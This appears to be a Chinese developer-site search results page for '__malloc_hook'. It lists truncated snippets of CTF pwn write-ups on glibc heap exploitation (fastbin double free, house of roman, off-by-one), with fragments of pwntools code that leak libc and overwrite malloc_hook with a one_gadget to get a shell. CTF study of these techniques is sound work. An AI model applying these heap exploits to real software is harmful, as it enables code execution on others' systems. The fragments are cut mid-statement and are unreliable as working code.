首页
学习
活动
专区
圈层
工具
发布
综合排序丨最热优先丨最新优先
时间不限
__malloc_hook初体验
在Arbitrary Alloc 的学习中,不可避免的一种用法就是通过字节偏移伪造size域绕过malloc的检测从而在__malloc_hook处伪造一个chunk,达到任意写的目的。 参考资料:https://wiki.x10sec.org/pwn/heap/fastbin_attack/ __malloc_hook的作用 __malloc_hook是glibc中的一个函数指针变量, 那么关键就在于,需要在__malloc_hook附近找到一个合适的字节,能构造成一个在fastbin范围内(64位:0x20 ~ 0x80)且包含了要控制的部分在内的size域。 的位置并修改至getshell函数*/ malloc_hook=(long long *)((long long)chunk_a+0x13); *malloc_hook=0x400646L return 0; } 总结 该篇简单介绍了__malloc_hook的利用方式,其中最关键的是偏移的计算,需要一定的耐心和细心。
赤道企鹅
2022-08-01
1.7K0
标签:
house_of_roman
通过 unsortedbin attack 把 main_arena 写到 malloc_hook 上.\n" "3. 通过低位地址修改 __malloc_hook 为 one_gadget. 我们通过 unsorted bin attack 把 __malloc_hook 写为 unsortedbin 的地址,这样只需要改低几个字节就可以把 __malloc_hook 改为 system 的地址了 计算出 __malloc_hook 的地址,完全是根据偏移算出来的 ? 这样 __malloc_hook 就是 system 的地址了,然后去 malloc 的时候就能拿到 shell 了 ?
yichen
2020-12-11
6310
标签:
Heap-DoubleFree之Mulnote
main_arena-88-0x33->_IO_wide_data_0到main_arena-88-0x10->malloc_hook之间的空间,使ong_gadget直接落在malloc_hook上。 这样当我们再次使用malloc申请chunk时,便能触发malloc_hook上的one_gadget而不会导致程序异常退出了。 也就是说此时如果在申请一个堆块的话,将会被分配至 而利用这个main_arena的地址,我们可以泄露libc基地址,可以计算出malloc_hook、_IO_wide_data_0等地址。 如: main_arena-88=main_arena地址 main_arena-88-0x10=malloc_hook地址d main_arena-88-0x10-0x13=_IO_wide_data 、_IO_wide_data_0、one_gadget等地址 利用Double free来伪造chunk,劫持malloc_hook,再在malloc_hook上写上one_gadget地址,再次malloc
偏有宸机
2025-11-18
1.3K0
标签:
深思杯PWN复现(一)
u64(p.recv(6).ljust(8, '\x00')) libc_base = unsortedbin -0x100 - 0x3c4b20#这个使用main_arena算出来的 然后就能计算出 malloc_hook 与 one_gadget 的地址了 malloc_hook = libc_base + libc.sym['__malloc_hook'] one_gadget = libc_base + 0xf1207 malloc_addr = malloc_hook - 0x30 + 0xd 在我电脑上 one_gadget 中的 0xf1207 可以用 这个 malloc_addr 是算了个偏移,为了后面申请到 malloc_hook 的时候能有个 size 位绕过检查 然后还是上面的套路,fastbin double free 把 malloc_hook 的地址改为 one_gadget add(0x60, = libc_base + libc.sym['__malloc_hook'] one_gadget = libc_base + 0xf1207 malloc_addr = malloc_hook -
yichen
2020-10-28
1.1K0
标签:
[pwnable.tw] Break Out - realloc特性利用
一些怨言 题目本身非常容易,利用UAF构造出一条通向malloc_hook的fastbin。 然后利用好realloc会copy原有内容到新堆块的特性,提前布置好payload到堆上,绕过security_read向malloc_hook中写入one_gadget。 "] malloc_hook = libc_base + libc.symbols[b"__malloc_hook"] fake_chunk = malloc_hook - 0x23 :", hex(malloc_hook)) print("[*] fake_chunk:", hex(fake_chunk)) #gdb.attach(p) # leak heap set_note(4, 0x68, b"") print("[*] malloc_hook:", hex(malloc_hook)) print("[*] one_gadget
赤道企鹅
2022-08-01
5910
标签:
Linux进程内存管理(一)
在 Linux 下,内存管理器一般通过 HOOK 来实现自定义的malloc函数,具体就是通过覆盖__malloc_hook等函数指针来实现。 glibc 提供了__malloc_hook、__realloc_hook、__free_hook、__memalign_hook 四个全局函数hook指针。 简单地说,就是 malloc 调用的是 __malloc_hook 指针指向的函数,所以 jemalloc 或者 tcmalloc 通过覆盖 __malloc_hook 使程序调用到它们自定义的malloc 接下来,我们做个小实验,覆盖掉__malloc_hook和__malloc_free。 = __free_hook; printf ("malloc (%u) returns %p\n", (unsigned int) size, result); __malloc_hook =
linjinhe
2018-06-06
4.6K0
标签:
2018科来杯PWN复现(一)
sys_addr = int(p.recvuntil('\n', drop=True).strip(), 16) libc_base = sys_addr - libc.symbols["system"] malloc_hook = libc_base + libc.symbols["__malloc_hook"] one_gadget = libc_base + 0x10a45c alloc() release() fill (p64(malloc_hook)) alloc() alloc() fill(p64(one_gadget)) alloc() p.interactive() 首先 malloc 一个,free 之后再去编辑 ,编辑成 malloc_hook(tcache 不会对 size 进行检查,所以可以直接申请到 malloc_hook 这里) 然后 malloc 两次就申请到了 malloc_hook 那里了,再去编辑就可以把 malloc_hook 改为 one_gadget 的地址,这样去 malloc 的时候就可以拿到 shell 啊啊啊,好简单的说
yichen
2020-10-28
9840
标签:
[蓝帽杯] PWN - safebox经典heap:无回显利用off_by_one爆破2字节
整理一下大致的思路,因为需要写malloc_hook或者free_hook,可以尝试先利用_IO_FILE_stdout泄露地址。 p.recvn(23, timeout=1) leak = u64(p.recvn(8, timeout=1)) libc_base = leak - 0x3eb780 malloc_hook = libc_base + libc.symbols[b"__malloc_hook"] free_hook = libc_base + libc.symbols[b"__free_hook" libc.symbols[b"system"] print("leak:",hex(leak)) print("libc_base:",hex(libc_base)) print("malloc_hook :",hex(malloc_hook)) print("free_hook:",hex(free_hook)) print("one:",hex(one)) # write malloc_hook
赤道企鹅
2022-08-01
7310
标签:
没有libc6-dbg的符号如何查找main_arena
= &main_arena); return result; } 通过malloc_hook定位 在导出表里面搜索malloc_hook 跟过去,在他下面+0x10的就是main_arena 其他方法
用户1423082
2024-12-31
5100
标签:
[津门杯] PwnCTFM - strcpy型off-by-null学习
"] malloc_hook = libc_base + libc.symbols[b"__malloc_hook"] fake_chunk = malloc_hook - 0x23 0x4527a print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) print("malloc_hook :", hex(malloc_hook)) print("one_gadget:", hex(one_gadget)) # fastbin attack add(b"BBBB" (b"tmp", 0x68, "tmp", 100) #8 add(b"tmp", 0x68, b"a"*0x13 + p64(one_gadget), 100) #9 print("malloc_hook :", hex(malloc_hook)) # getshell delete(2) add(b"tmp", 0x68, "tmp", 100, False) #2
赤道企鹅
2022-08-01
1.5K0
标签:
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档